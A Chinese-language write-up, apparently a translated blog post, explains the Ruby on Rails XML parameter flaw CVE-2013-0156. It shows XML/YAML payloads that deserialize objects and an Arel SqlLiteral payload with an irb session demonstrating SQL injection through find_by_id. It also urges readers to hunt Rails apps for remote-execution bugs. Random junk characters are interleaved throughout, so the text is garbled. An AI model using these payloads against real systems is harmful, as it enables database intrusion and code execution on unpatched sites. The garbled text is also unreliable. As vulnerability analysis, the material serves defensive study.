Author: wofeiwo#80sec.com ( J: Q+ u7 a H/ f
! z' @# k; h; V) E
注意,本文基本是这篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建议去原文查看。 ' A! V) S- q! W: T. k/ T. C
9 U4 ?; W9 h0 z2 K4 Y近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156. $ x) R, p6 `/ A% w+ Z, A% e7 B" V
6 h# Z e# {: KCVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了.
% o7 m0 Y1 ^( z& X" u8 H! I8 C0 [0 M! R% l8 T1 R+ {# x
为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如: 7 r, \5 Y5 v) e$ [* k
$ f2 U: I( F! E B8 q0 c
<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为: " m/ {3 L t$ |" e w( I( l
- z2 r, v' @6 L( y" W
"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml.
! k3 S& Y) J) O+ J; S% V0 u
+ Q$ _+ m& \6 U* V9 K) X4 d说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么?
( `. j" e% L& \9 `, y: y$ Y# [4 @" S: C3 Z" \
然后我们测试下,就会发现,由于框架中对参数进行 data.with_indifferent_access 的操作(会把key全变成string),我们还是无法通过xml去将Key变成Symbol类型。所以,也无法利用此漏洞去利用CVE-2012-6496。 {5 m# U% s( ^9 p3 r/ H; u
: T: J: K h# n2 T, p
但是等等,还有另一个参数类型,yaml。
$ S" x8 n" ], Q5 D; D' X
! s% X! C1 x" q+ }) tyaml强大的地方在于,利用yaml语言,你可以让Rails生成各种类型的数据结构,例如,Object。 5 H- h( j! c# f; J% a# ~# v9 g& e
) g3 J6 z( r) g% \<test type="yaml">--- !ruby/object:A& ^* v5 o7 a4 X. A
aaa: bbb </test>这基本类似于一个变量反序列化的过程,实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中,有将此Object的aaa属性带入eval/exec/system等关键语句中,就可以执行一些被污染的代码。 # @5 X3 g* N! H" ^6 B9 Q% @
2 G' i$ u$ Y, H2 n. D2 z如果你熟悉rails的代码,或者其他开源rails的webapp,现在就可以找起来了。或许一个远程执行0day就此诞生。 + \$ K# x; w# k& n2 S1 G9 Z- U
! o A$ s, ]6 X如果你不熟悉ror,那么也没问题,实际上还有个利用方式,可以直接进行sql注入。 # j4 F- M5 r4 ^( ^9 A
9 e' E5 V2 `1 C: K7 R
一般在RoR中都是使用model.find_by_*的方式进行数据库查询(ActiveRecord模式) ' q. Z/ Y+ O- t) a0 T$ M/ J( ~
1 L( @) {& }2 W- t, X
model.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量,使其成为可以注入的内容: + z* [ O D; K- x
8 N( E$ ^+ ^+ N: R F
<id type=yaml>--- !str:Arel::Nodes::SqlLiteral" s) D, _- e; [# l* z9 N
1 and 1=2 </id>利用如上代码,通过SqlLiteral对象,即可进行sql注入。 . E( c8 s* A+ G
. m7 _6 t3 A' m' Z# B4 K
irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms)[0m SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助,没有他的解释和测试,我是无法理解RoR及本漏洞的。
7 v& f: H1 n- _
5 k, P" Q u5 ]$ f/ \ |